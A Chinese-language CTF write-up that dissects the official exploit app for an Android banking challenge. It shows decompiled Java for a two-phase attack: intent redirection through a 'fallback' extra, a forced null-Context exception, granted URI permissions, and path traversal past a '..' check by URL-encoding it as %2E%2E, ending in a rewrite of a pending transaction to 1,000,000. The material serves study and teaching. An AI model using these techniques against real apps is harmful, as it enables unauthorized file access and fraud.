摘要

对该题官方WP中的ExploitApp进行分析,梳理漏洞利用逻辑。

onCreate(Attacker)

protected void onCreate(Bundle bundle0) {
	super.onCreate(bundle0);
	this.setContentView(layout.activity_main);
	ViewCompat.setOnApplyWindowInsetsListener(this.findViewById(id.main), (View view0, WindowInsetsCompat windowInsetsCompat0) -> {
		Insets insets0 = windowInsetsCompat0.getInsets(7);
		view0.setPadding(insets0.left, insets0.top, insets0.right, insets0.bottom);
		return windowInsetsCompat0;
	});
	this.handleIntent(this.getIntent());
}

先是一些UI,然后进入handleIntent

handleIntent-1

private void handleIntent(Intent intent0) {
	String s = intent0.getAction();
	if("phase1".equals(s)) {
		this.runPhase1();
		return;
	}

	if("phase2".equals(s)) {
		this.runPhase2();
		return;
	}

	this.grantUriPermissions("phase1", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions");
}

此时 Intent 是标准的 LAUNCHER Intent:

  • action = android.intent.action.MAIN
  • category = android.intent.category.LAUNCHER
    因此进入grantUriPermissions

grantUriPermissions

private void grantUriPermissions(String s, String s1) {
	Log.i("ExploitPOC", "Launching " + s + " with URI: " + s1);
	Intent intent0 = new Intent(s).setClass(this, this.getClass()).setFlags(67).setData(Uri.parse(s1));
	this.startActivity(new Intent("android.intent.action.SEND").setClassName("com.sekai.bank", "com.sekai.bank.MainActivity").putExtra("fallback", intent0).putExtra("from_pin_setup", true).putExtra("context", null));
}

构造fallbackintent,注意此处的action为传入的字符串s = "phase1"

Intent intent0 = new Intent("phase1") 
	.setClass(this, this.getClass()) // 回调我自己的 Activity 
	.setFlags(67) // 请求 URI 读写权限 
	.setData(Uri.parse("content://content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions")); // 指向银行的文件目录

将其通过.putExtra("fallback", intent0)发送出去。

onCreate(Bank)

protected void onCreate(Bundle bundle0) {
	super.onCreate(bundle0);
	try {
		this.tokenManager = SekaiApplication.getInstance().getTokenManager();
		boolean z = this.handlePinSetupFlow();
	}
	catch(Exception unused_ex) {
		Intent intent0 = (Intent)this.getIntent().getParcelableExtra("fallback");
		if(intent0 != null) {
			this.startActivity(intent0);
			this.finish();
		}

		goto label_21;
	}

	if(z) {
		return;
	}

label_21:
	if(!this.uiInitialized) {
		this.checkAuthentication();
	}
}

进入try块,需要触发一个异常进入catch块后才能执行fallback代码
那么这个异常在哪里呢?

handlePinSetupFlow

private boolean handlePinSetupFlow() {
	if(this.getIntent().getBooleanExtra("from_pin_setup", false)) {
		this.pinVerified = true;
		this.setupMainUI();
		return true;
	}

	return false;
}

this.getIntent().getBooleanExtra("from_pin_setup", false)意思是如果没有找到"from_pin_setup"这个键就返回false,找到了就按键值来。还记得刚刚构造的intent吗,该键的值是true。因此进入this.setupMainUI()

setupMainUI

private void setupMainUI() {
	if(!this.uiInitialized && !this.isFinishing() && !this.isDestroyed()) {
		try {
			ActivityMainBinding activityMainBinding0 = ActivityMainBinding.inflate(this.getLayoutInflater());
			this.binding = activityMainBinding0;
			this.setContentView(activityMainBinding0.getRoot());
			this.setupWindowInsets();
			this.setupNavigation();
			this.uiInitialized = true;
		}
		catch(Exception unused_ex) {
			this.startAuthActivity();
		}

		Bundle bundle0 = this.getIntent().getExtras();
		if(bundle0 != null && (bundle0.containsKey("context"))) {
			Toast.makeText(((Context)bundle0.getParcelable("context")), "Hello!", 1).show();
		}
	}
}

关键的来了。先有一个try-catch,那漏洞肯定不在里面。之后通过Bundle bundle0 = this.getIntent().getExtras();将构造的putExtra("fallback", intent0).putExtra("from_pin_setup", true).putExtra("context", null)三个键值对存进bundle0里了。
然后看if里面的东西,将((Context)bundle0.getParcelable("context"))作为Toast.makeText的第一个参数,而它的值是null。该参数作为上下文环境,当然不能是null的,这不异常就来了。
这个if其实是完全多余而突兀的,毕竟没有哪个intent会莫名其妙多出来个context,设计痕迹是很明显的。如果熟悉安卓开发,要是发现这个了基本上思路就明确了。

onNewIntent

public void onNewIntent(Intent intent0, ComponentCaller componentCaller0) {
	super.onNewIntent(intent0, componentCaller0);
	this.handleIntent(intent0);
}

攻击者重写onNewIntent(否则系统默认调用父类的同名函数,即super.onNewIntent)。然后再次进入this.handleIntent。此时intent0为攻击者自己写的那个。

handleIntent-2

private void handleIntent(Intent intent0) {
	String s = intent0.getAction();
	if("phase1".equals(s)) {
		this.runPhase1();
		return;
	}

	if("phase2".equals(s)) {
		this.runPhase2();
		return;
	}

	this.grantUriPermissions("phase1", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions");

intent0.getAction()得到"phase1",执行this.runPhase1()

runPhase1

private void runPhase1() {
	Cursor cursor0;
	Uri uri0 = Uri.parse("content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions");
	try {
		cursor0 = this.getContentResolver().query(uri0, null, null, null, null);
		if(cursor0 == null) {
			if(cursor0 != null) {
				cursor0.close();
			}

			return;
		}

		goto label_15;
	}
	catch(Exception exception0) {
		goto label_54;
	}

	return;
	try {
		while(true) {
		label_15:
			if(!cursor0.moveToNext()) {
				goto label_48;
			}

			String s = cursor0.getString(cursor0.getColumnIndexOrThrow("path"));
			if(s == null || !s.endsWith(".json")) {
				goto label_15;
			}

			MainActivity.targetFileName = Uri.encode(s.substring(s.lastIndexOf(0x2F) + 1));
		}
	}
	catch(Throwable throwable0) {
	}

	if(cursor0 != null) {
		try {
			cursor0.close();
			throw throwable0;
		}
		catch(Throwable throwable1) {
		}

		try {
			throwable0.addSuppressed(throwable1);
			throw throwable0;
		label_48:
			if(cursor0 != null) {
				cursor0.close();
			}

			goto label_57;
		}
		catch(Exception exception0) {
			goto label_54;
		}
	}

	throw throwable0;
label_54:
	Log.e("ExploitPOC", "Phase 1 failed", exception0);
label_57:
	if(MainActivity.targetFileName != null) {
		this.grantUriPermissions("phase2", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/" + MainActivity.targetFileName);
	}
}

攻击者访问目标目录content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/

1. 如何有权限?

Android 系统维护一个 URI 权限表

持有者(App) URI 权限类型 有效期
com.sekai.sekaibankpoc content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions readwrite 临时(Activity 存活期间)

2. 当攻击者调用:

getContentResolver().query(uri0, ...)

系统检查:

  • 调用者是 com.sekai.sekaibankpoc
  • 请求的 URI 是 content://com.sekai.bank.logprovider/...
  • 查表:✅ 有 read 权限 → 允许访问
    然后调用对应的ContentProvider中的query函数,该函数返回内容为该目录下所有文件的matrixCursor0的引用。
package com.sekai.bank.providers;

import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.database.MatrixCursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;

public class LogProvider extends ContentProvider {
    @Override  // android.content.ContentProvider
    public int delete(Uri uri0, String s, String[] arr_s) {
        throw new UnsupportedOperationException("Not implemented");
    }

    @Override  // android.content.ContentProvider
    public String getType(Uri uri0) {
        return "application/octet-stream";
    }

    @Override  // android.content.ContentProvider
    public Uri insert(Uri uri0, ContentValues contentValues0) {
        throw new UnsupportedOperationException("Not implemented");
    }

    @Override  // android.content.ContentProvider
    public boolean onCreate() {
        return true;
    }

    @Override  // android.content.ContentProvider
    public ParcelFileDescriptor openFile(Uri uri0, String s) throws FileNotFoundException {
        if(!uri0.toString().contains("..")) {
            File file0 = new File(this.getContext().getCacheDir(), uri0.getPath());
            if(file0.exists()) {
                return ParcelFileDescriptor.open(file0, 0x30000000);
            }

            throw new FileNotFoundException("Log doesn\'t exists!");
        }

        throw new FileNotFoundException("Invalid path!");
    }

    @Override  // android.content.ContentProvider
    public Cursor query(Uri uri0, String[] arr_s, String s, String[] arr_s1, String s1) {
        File[] arr_file = new File(this.getContext().getCacheDir(), uri0.getPath()).listFiles();
        String[] arr_s2 = new String[4];
        int v = 0;
        arr_s2[0] = "_id";
        arr_s2[1] = "name";
        arr_s2[2] = "size";
        arr_s2[3] = "path";
        MatrixCursor matrixCursor0 = new MatrixCursor(arr_s2);
        if(arr_file != null) {
            int v1 = 0;
            while(v < arr_file.length) {
                File file0 = arr_file[v];
                if(file0.isFile()) {
                    matrixCursor0.addRow(new Object[]{v1, file0.getName(), ((long)file0.length()), file0.getAbsolutePath()});
                    ++v1;
                }

                ++v;
            }
        }

        return matrixCursor0;
    }

    @Override  // android.content.ContentProvider
    public int update(Uri uri0, ContentValues contentValues0, String s, String[] arr_s) {
        throw new UnsupportedOperationException("Not implemented");
    }
}


3.遍历目录:

while(true) {
label_15:
	if(!cursor0.moveToNext()) {
		goto label_48;
	}

	String s = cursor0.getString(cursor0.getColumnIndexOrThrow("path"));
	if(s == null || !s.endsWith(".json")) {
		goto label_15;
	}

	MainActivity.targetFileName = Uri.encode(s.substring(s.lastIndexOf(0x2F) + 1));
}

找到targetFileName

this.grantUriPermissions("phase2", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/" + MainActivity.targetFileName);

最后同样方法获取目标文件的读写权限,启动phase2

runPhase2

private void runPhase2() {
	try {
		Log.i("ExploitPOC", "Reading JSON from: " + MainActivity.targetFileName);
		Uri uri0 = Uri.parse("content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/" + MainActivity.targetFileName);
		String s = this.readContent(this.getContentResolver(), uri0);
		Log.i("ExploitPOC", "Original JSON: " + s);
		JSONObject jSONObject0 = new JSONObject(s);
		jSONObject0.put("amount", 1000000);
		jSONObject0.put("toUsername", "lhwww");
		this.writeContent(this.getContentResolver(), uri0, jSONObject0.toString());
		Log.i("ExploitPOC", "Exploit complete");
	}
	catch(Exception exception0) {
		Log.e("ExploitPOC", "Phase 2 failed", exception0);
	}
}

先读取目标文件的内容,readContent代码太长不放了,就说一点值得注意的。

InputStream inputStream0 = contentResolver0.openInputStream(uri0); //截取自readContent

openInputStream会触发对应ContentProvider中的openFile方法。
其中

if(!uri0.toString().contains(".."))

可以被url编码绕过。因此payload中将..替换为%2E%2E
读取json文件内容后修改,再写回去,就大功告成了。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐